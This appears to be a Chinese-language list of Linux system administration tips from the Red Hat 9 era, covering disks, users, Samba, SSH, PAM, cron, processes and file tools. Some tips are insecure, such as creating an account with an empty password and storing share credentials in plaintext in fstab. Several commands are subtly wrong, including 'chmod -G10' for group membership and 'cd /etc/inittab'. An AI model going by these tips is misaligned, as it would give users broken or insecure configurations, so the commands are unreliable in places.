注意:这个测试最好在单用户模式下使用,因为这样可以确保你测试的时候只有你一个人在使用系统,  以确保测试准确。再多测试几次取平均值。我们再用如下命令看看linux如何对硬盘经行寻址 hdparm /dev/hda
结果如下
/dev/hda:
multcount = 16 (on)
IO_support =” ” 0 (default 16-bit)
unmaskirq =” ” 0 (off)
using_dma =” ” 1 (on)
keepsettings =” ” 0 (off)
readonly =” ” 0 (off)
readahead =” ” 8 (on)
geometry = 5169/240/63, sectors = 40020664320, start = 0
我们可以看到,默认情况下使用的还是16位的模式。
优化
使用如下命令
hdparm -m16 -c3 /dev/hda
这样可以让IO_support工作在32位模式下。

12、如何列出一个目录占用的空间

du或du -s或du -k
du -S | sort -n 可以迅速发现那个目录是最大的。
(du -s或–summarize 仅显示总计。
du -S或–separate-dirs 显示个别目录的大小时,并不含其子目录的大小。
sort -n 依照数值的大小排序。)
用df可以看到已安装的文件系统的空间大小及剩余空间大小。
quota -v查看用户的磁盘空间信息,如果你用quota限制了用户空间大小的话。

++如何使新用户首次登陆后强制修改密码

#useradd -p ‘’ testuser; chage -d 0 testuser

13、在Linux中有时开机不自动检查新硬件,新安装的网卡找不到。请问怎么解决?

答:自动检查新硬件的服务是Kudzu,用户可以用“ntsysv”命令启动该服务。下次重启就会找到用户的新网卡。

14、从台湾省的一个 网站找到的,如何让系统密码和samba密码一致,并可以让用户自行修改他们的密码.

使用web界面來同步更改system passwd 及 samba password
下载 http://changepassword.sourceforge.net/
安装就可以了.先看README哈.
附加:
将系统用户批量倒成samba用户.
less /etc/passwd | mksmbpasswd.sh >; /etc/samba/smbpasswd

++更改Linux启动时用图形界面还是字符界面

cd /etc
vi inittab
将id:5:initdefault: 其中5表示默认图形界面
改id:3: initdefault: 3表示字符界面

15、配置smb可以被哪些IP所用.

cd /etc/samba
Vi smb.conf
找到hosts allow = 192.168.1. 192.168.2. 127.
修改其为哪些机器所用,注意IP之间用逗号分开
举例:
hosts allow =192.168.1.110,192.168.1.120

16、禁止在后台使用CTRL-ALT-DELETE重起机器

cd /etc/inittab
vi inittab 在文件找到下面一行
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now (注释掉这一行)
如: # Trap CTRL-ALT-DELETE
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now

17、修改主机名

vi /etc/sysconfig/network
修改HOSTNAME一行为HOSTNAME=主机名

18、查看开机检测的硬件

dmesg | more

19查看硬盘使用情况

df -m
df -h

20、查看目录的大小

du –sh dirname

21、解压小全

tar xvfj lichuanhua.tar.bz2
tar xvfz lichuanhua.tar.gz
tar xvfz lichuanhua.tgz
tar xvf lichuanhua.tar
unzip lichuanhua.zip
注:压缩 tar cvfz FileName.tar.gz DirName

22、显示内存使用情况

free –m

23、显示系统运行了多长时间

uptime

24、显示开机自检的内容命

dmesg

25、端口的详细列表

etc/services

26、查看物理信息

lspci

27、文本截面的中文支持

RH 9.0自带安装包 zhcon_0.2.3_1.rh9.i386.rpm
安装完成后,执行: zhcon 就可以支持中文了

28、不让显示器休眠

setterm –blank 0

29、显示最后一个登录到系统的用户

last

30、查看所有帐号的最后登录时间

lastlog /var/log/lastlog

31、查看系统自开通以来所有用户的登录时间和地点

cat /var/log/secure

31、显示当前用户所属信息

id

32、如何知道Apache的连接数目

ps -ef|grep httpd|wc -l #其它服务可以类推
netstat -nat|grep -i “80″|wc -l # 以上结果再减1吧

33、删除用户帐号的同时,把用户的主目录也一起删除

userdel -r 用户名

34、修改已有用户的信息

usermod [参数] 用户名
参数: -c, -d, -m, -g, -G, -s, -u以及-o与adduser参数意义相同
新参数: -l 新用户名(指定一个新的账号,即将原来的用户名改为新的用户名)

35、改变redhat的系统语言/字符集

改 /etc/sysconfig/i18n 文件,如
LANG=”en_US”,xwindow会显示英文界面,
LANG=”zh_CN.GB18030″,xwindow会显示中文界面。
还有一种方法
cp /etc/sysconfig/i18n $HOME/.i18n
修改 $HOME/.i18n 文件,如
LANG=”en_US”,xwindow会显示英文界面,
LANG=”zh_CN.GB18030″,xwindow会显示中文界面。
这样就可以改变个人的界面语言,而不影响别的用户
vi .bashrc
export LANG=zh_CN.GB2312
export LC_ALL=zh_CN.GB2312

36、cd光盘做成iso文件

cp /dev/cdrom xxxx.iso

37、快速观看开机的硬件检测

dmesg | more

38、查看硬盘的使用情况

df -k 以K为单位显示
df -h 以人性化单位显示,可以是b,k,m,g,t..

39、查看目录的大小

du -sh dirname
-s 仅显示总计
-h 以K、M、G为单位,提高信息的可读性。KB、MB、GB是以1024为换算单 位, -H以1000为换算单位。

40、查找或删除正在使用某文件的进程

fuser filename
fuser -k filename

41、linux中让用户的密码必须有一定的长度,并且符合复杂度

vi /etc/login.defs,改PASS_MIN_LEN

++以不同的用户身份运行程序

su - username -c “/path/to/command”
有时候需要运行特殊身份的程序, 就可以让su来做

++ adduser m -g cvsroot -s /bin/false

添加用户m,参数-s /bin/false表示不允许用户直接登录服务器
id m
显示m用户的uid和gid号。

++ 强制卸载rpm包

rpm -e –nodeps 包名称

个别不正常情况下:
rm -f /var/lib/rpm/__*
rpm –rebuilddb

#

++拒绝除root用户的其它用户登陆

touch /etc/nologin
也可以在/etc/passwd中加!对指定用户限制登陆

++检查自己所属之群组名称

执行格式:groups

++修改文件/文件夹所属用户组(支持-R)

chown .组名 文件名(注:组名名勿忘”.”,“:”也可)
也可chgrp 组名 文件名
chown 用户名.组名 文件名(同时修改所属用户及用户组)

++用fuser命令查看一下是哪些进程使用这个分区上的文件:

fuser –v –m /usr
如果没有什么重要的进程,用以下命令停掉它们:
fuser -k –v –m /usr
然后就可以重新挂载这些文件系统了。

++网络唤醒主机

ether-wake 目标网卡MAC

++如何查找大小为500K到1000K之间的文件

find / -type f -size +500k -and -size -1000k

++让主机不响应ping

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
若想恢复就用
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all
#必须是用命令改,不能是vi修改

++自动注销ROOT

编辑你的配置文件”vi /etc/profile”,在”HISTSIZE=”后面加入下面这行:
  TMOUT=300
  #300,表示300秒

++ls只列出目录

ls -lF | grep ^d
ls -lF | grep /$
ls -F | grep /$

++让cron任务不回馈信息

* * * * * cmd > /dev/null 2>&1

++lsof(list open files)用法

lsof -i :xx
lsof abc.txt 显示开启文件abc.txt的进程
lsof -i :22 知道22端口现在运行什么程序
lsof -c nsd 显示nsd进程现在打开的文件
lsof -g gid 显示归属gid的进程情况

++改变sshd 的端口

在/etc/ssh/sshd_config 中加入一行:Port 2222,/etc/init.d/sshd restart 重启守护进程

++防止任何人使用su 命令成为root

vi /etc/pam.d/su,在开头添加下面两行:
  auth sufficient /lib/security/pam_rootok.so
  auth required /lib/security/Pam_wheel.so group=wheel
然后把用户添加到“wheel”组:chmod -G10 username

++如何让ssh 只允许指定的用户登录

方法1:在/etc/pam.d/sshd 文件中加入
auth required pam_listfile.so item=user sense=allow file=/etc/sshusers onerr=fail
然后在/etc 下建立sshusers 文件,加入允许使用ssh 服务的用户名(每一个用户名都要单独一行),重新起动sshd

++利用ssh 复制文件

1、从A 复制B(推过去) #scp -rp /path/filename username@remoteIP:/path
2、从B 复制到A(拉过来)#scp -rp username@remoteIP:/path/filename /path

++linux机器挂载windows上的共享文件

windows IP:192.168.1.1
mount -t smbfs -o username=massky,password=massky //192.168.1.1/dbf /mnt/share
如想机器重启自动挂载,vi /etc/fstab最后加入:
//192.168.1.1/dbf /mnt/share smbfs defaults,auto,username=massky,password=massky 0 0

++定制linux 提示符

在bash 中提示符是通过一个环境变量$PS1 指定的。用export $PS1 查看现在的值,比较直
观常用的提示符可以设定为export PS1=“[\u@\h \W]\$”。其中\u 代表用户名,\h 代表主机
名,\W 代表当前工作目录的最后一层,如果是普通用户\$则显示$,root 用户显示#。

++清空文件

[echo] > 文件名

++DNS相关

host -a domain.com #显示相关资讯都列出来
host domain.com 202.106.0.20 #用202.106.0.20这台DNS服务器查询domain.com

++前后台任务相关

jobs 列出属于当前用户的进程
bg 将进程搬到后台运行(Background)
fg 将进程搬到前台运行(Foreground)
万一你运行程序时忘记使用“&”了,又不想重新执行。可以先使用ctrl+z挂起程序,然后敲入bg命令,这样程序就在后台继续运行了。

++查找当前目录下七天前的文件,并删除

find ./ -mtime +7 -type f -exec rm {} \;

++产生指定大小的文件(bs*count)

dd if=/dev/zero of=filename bs=1000000 count=10

++查找当前目录下文件并更改扩展名

更改所有.ss文件为.aa
# find ./ -name “*.ss” -exec rename .ss .aa ‘{}’ \;

++修改系统时间

date -s “2005-6-4 17:26″

++让服务器自动同步时间

0 1 * * * /usr/sbin/ntpdate 210.72.145.44
或 0 1 * * * rdate -s time.nist.gov

++解决打开文件过多的问题

在etc/security/limits.conf 配置文件中设置进程文件描述符极限:
* soft nofile 2048
* hard nofile 4096
系统级文件描述符极限及timeout时间修改,添加如下两行到 /etc/rc.d/rc.local 启动脚本中:
# Increase system-wide file descriptor limit.
echo 65536 > /proc/sys/fs/file-max
echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout
#一般情况下,最大打开文件数比较合理的设置为每4M物理内存256,比如1G内存可以设为65536,
#而最大的使用的i节点的数目应该是最大打开文件数目的3倍到4倍

++如何用tar打包一个目录时,去掉其中的某些子目录或指定文件

加参数 –exclude 即可, 可加文件名或目录名, 可多写
tar cvf –exclude {dirname,filename} #dirname不要加/

++终端下修改服务器时区

usr/sbin/timeconfig
或直接#/etc/sysconfig/clock

++关闭启动时的内存不足256M提示

vi /etc/rc.sysinit #把最后六行注释掉
或#vi /var/lib/supportinfo
把其中的 MinRAM: 256M 这个值调低点.

++在多层目录中查找到某一指定”字符串”

grep string -R /etc/sysconfig/
find ./pathname/ -name ‘*’ | xargs grep ’string’

++占用CPU的一个命令

yes string #有时候测试用得上。狂占CPU

++Kill相关

kill -STOP [pid]
 发送SIGSTOP (17,19,23)停止一个进程,而并不消灭这个进程。
  kill -CONT [pid]
  发送SIGCONT (19,18,25)重新开始一个停止的进程。
  kill -KILL [pid]
  发送SIGKILL (9)强迫进程立即停止,并且不实施清理操作。
  kill -9 -1
  终止你拥有的全部进程。

++在当前目录下建个bak目录,然后 cp * bak,会提示略过bak,有其它办法可以排除指定文件(夹)?

ls -F|grep -v \/|xargs -i cp {} bak #推荐
或 find ! -name “./bak”

++ 根据进程名显示进程号

pidof httpd
1846 1845 1844 1843 1842 1841 1840 1839 1820

++e2fsck

检查使用 Linux ext2 档案系统的 partition 是否正常工作, 检查 /dev/hda5 是否正常,如果有异常便自动修复,并且设定若有问答,均回答[是] :
e2fsck -a -y /dev/hda5

++反向输出

rev 反向输出(以行为单位)
tac 反向输出(全文)

++显示终端号

tty

++文件行数/字数统计

wc –l file 计算文件行数
wc -w file 计算文件中的单词数
wc -c file 计算文件中的字符数

++出每行第5个到第9个字符

cut -b5-9 file.txt

++删除文本文件中出现的行列

uniq

++返回文件所在路径

dirname /bin/tux #将返回 /bin

++fcitx在英文环境下正常使用

vi ~/.bashrc
xport LC_CTYPE=”zh_CN.UTF-8″
export XMODIFIERS=”@im=fcitx”
export XIM=fcitx
export XIM_PROGRAM=fcitx
#gnome-session-properties可以把fctix加入登入后自启动

++split分割合并文件

split -b1440k a_whopping_big_file chunk #拆
cat chunk* > a_whopping_big_file #合